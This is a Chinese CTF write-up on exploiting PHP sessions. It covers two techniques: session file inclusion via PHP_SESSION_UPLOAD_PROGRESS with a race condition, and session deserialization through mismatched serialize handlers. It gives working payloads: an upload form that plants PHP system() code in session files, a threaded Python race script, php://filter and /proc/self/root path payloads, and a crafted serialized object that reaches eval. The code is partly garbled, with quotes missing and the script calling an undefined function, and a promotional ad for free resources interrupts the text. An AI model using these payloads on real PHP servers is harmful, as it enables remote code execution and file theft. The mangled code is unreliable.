session利用的小思路
前言
做题的时候经常考到session利用,平常的基本就两种,session文件包括和session反序列化,之前无仔细总结过,就写写吧。
session文件包括
php.ini
session的关联配置 session.upload_progress.enabled = on//enabled=on暗示upload_progress功能起始,亦寓意着当浏览器向服务器上传一个文件时,php将会把此次文件上传的仔细信息(如上传时间、上传进度等)存储在session其中 ;
session.upload_progress.prefix = "upload_progress_"//将暗示为session中的键名session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" //当它出此刻表单中,php将会报告上传进度,况且它的值可控!!!
session.use_strict_mode = off //这个选项默认值为off,暗示咱们对Cookie中sessionid可控!!!session.save_path = /var/lib/php/sessions //session的存贮位置,默认还有一个 /tmp/目录
当session关联配置如上的时候,咱们能够利用session.upload_progress将恶意语句写入session文件,从而包括session文件。
平常,当咱们要创建session时常常会在php代码里写session_start(),但咱们不写的话,亦是能够创建的。
例如,在php.ini中设置session.auto_start=On 的状况下,php在接收请求的时候会自动初始化session,不需要执行session_start()。但默认状态下,这个选项是默认关闭的。
不外幸好,session还有一个默认选项,session.use_strict_mode默认值为0。
这般用户是能够自己定义session ID的。例如,咱们在cookie里设置PHPSESSID=AndyNoel,就会在服务器/tmp目录下或/var/lib/php/sessions/目录下创建一个文件:sess_AndyNoel。即便无设置自动初始化session,php亦会产生session,并生成一个键值,这个键值由
ini.get(" session.upload_progress.prefix")
+咱们构造的session.upload_progress.name值构成,最后被一块写入sess_文件里。
[WMCTF 2020]Make PHP Great Again<?php
highlight_file(__FILE__);
require_once flag.php;
if(isset($_GET[file])) {
require_once $_GET[file];
}
//Please hack me with your 0day!
很容易发掘存在一个文件包括漏洞,但找不到能包括的恶意文件,那咱们就能够往session里面写入恶意内容,而后包括它。
【一>所有资源关注我,私信回复“资料”获取<一】
1、200份非常多已然买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、平常安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记 8、网络安全学习路线
session维持
根据上面说的思路创建好session后,问题又来了,那便是在php.ini常常还有一条设置 session.upload_progress.cleanup = on //暗示当文件上传结束后,php将会立即清空对应session文件中的内容
默认配置session.upload_progress.cleanup = on引起文件上传后,session文件内容立即清空,清空了就没办法利用了。咱们想要办法把session留在里面,因此就要利用要求竞争,在session文件内容清空前进行文件包括利用。
办法一 | 借助Burp Suite
能够在本地写一个上传页面,而后抓包添加Cookie: PHPSESSID=AndyNoel,再用BurpSuite爆破 <!DOCTYPE html>
<html>
<body>
<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system(cat flag.php);?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
一边持续发包请求包括恶意的session,一边持续发包以维持恶意session存储。这般就能够利用要求竞争把恶意内容留在session里面了。
办法二 | python脚本
原理和上面的差不多,然则咱们直接编写脚本,写shell、取flag一把梭出来,用不着那样麻烦了 import io
import sys
import requests
importthreading
sessid =AndyNoel
def WRITE(session):
while True:
f = io.BytesIO(ba * 1024 * 50)
session.post(
http://localhost/index.php,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system(cat flag.php);?>"},
files={"file"1.txt, f)},
cookies={PHPSESSID:sessid}
)
def READ(session):
while True:
resp = session.get(fhttp://localhost/index.php/?file=../../../../../../../../tmp/sess_{sessid})
if flag{ in resp.text:
print(resp.text)
sys.exit(0)
else:
print(Thinking[+++++++])
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = Truet1.start()
READ(session)办法三(非预期) | 伪协议协同多级符号链接的办法进行绕过。
在这儿有个小知识点,/proc/self指向当前进程的/proc/pid/,/proc/self/root/指的是向/的符号链接,想到这儿,用伪协议协同多级符号链接的办法进行绕过。 payload:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
另一一个payload ?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php
session反序列化
选取区别的处理器,处理方式亦不同样,倘若序列化和储存session与反序列化的方式区别,就有可能引起漏洞的产生。
Jarvis OJ WEB PHPINFO<?phpini_set(session.serialize_handler, php);
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = phpinfo();;
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET[phpinfo]))
{
$m = new OowoO();
}
else{
highlight_string(file_get_contents(index.php));
}
?>
倘若只看php代码,其实咱们是找不到参数可控的地区的,因此经过什么办法来进行反序列化呢?session.serialize_handler
session.serialize_handler (string)用来定义序列化/反序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize)、 PHP PHP 内部格式 (名为 php 及 php_binary) 和 WDDX (名为 wddx)。 倘若 PHP 编译时加入了 WDDX 支持,则只能用 WDDX。php_serialize在内部简单地直接运用serialize/unserialize函数,并且不会有 php 和 php_binary 所拥有的限制。 运用较旧的序列化处理器引起 $_SESSION 的索引既不可是数字亦不可包括特殊字符(| and !) 。
能够看一下这个题目环境的phpinfo,在session部分
默认session.serialize_handler为php_serialize,而这儿却设置为php:
这般就很显著了,由于处理器对应的处理格式区别引起显现session反序列化漏洞
但还是不足,由于咱们还是没办法掌控变量,翻看PHP手册有个有意思的地区:
既然如此,咱们能够去瞧瞧相关session的php.ini的设置 session.upload_progress.enabled = onsession.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
设置是这般的话,咱们就能够构造反序列化了。 <?php
class OowoO
{
public $mdzz=var_dump(scandir("/opt/lampp/htdocs/"));;//从phpinfo看见的
}
$obj = new OowoO();
echo serialize($obj);
?>
O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}
为了防止双引号转义,因此要处理一下,在双引号前面加\,因此应该是这般 O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\";}
而后自己本地写一个提交页面: <form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS"value="ADNL" />
<input type="file" name="file" />
<input type="submit" />
</form>
抓包修改,在序列化的字符串前加 |,提交就可。
小结
session相关的安全性问题重点是文件包括和反序列化两个利用点,利用PHP_SESSION_UPLOAD_PROGRESS能够绕过大部分过滤。
|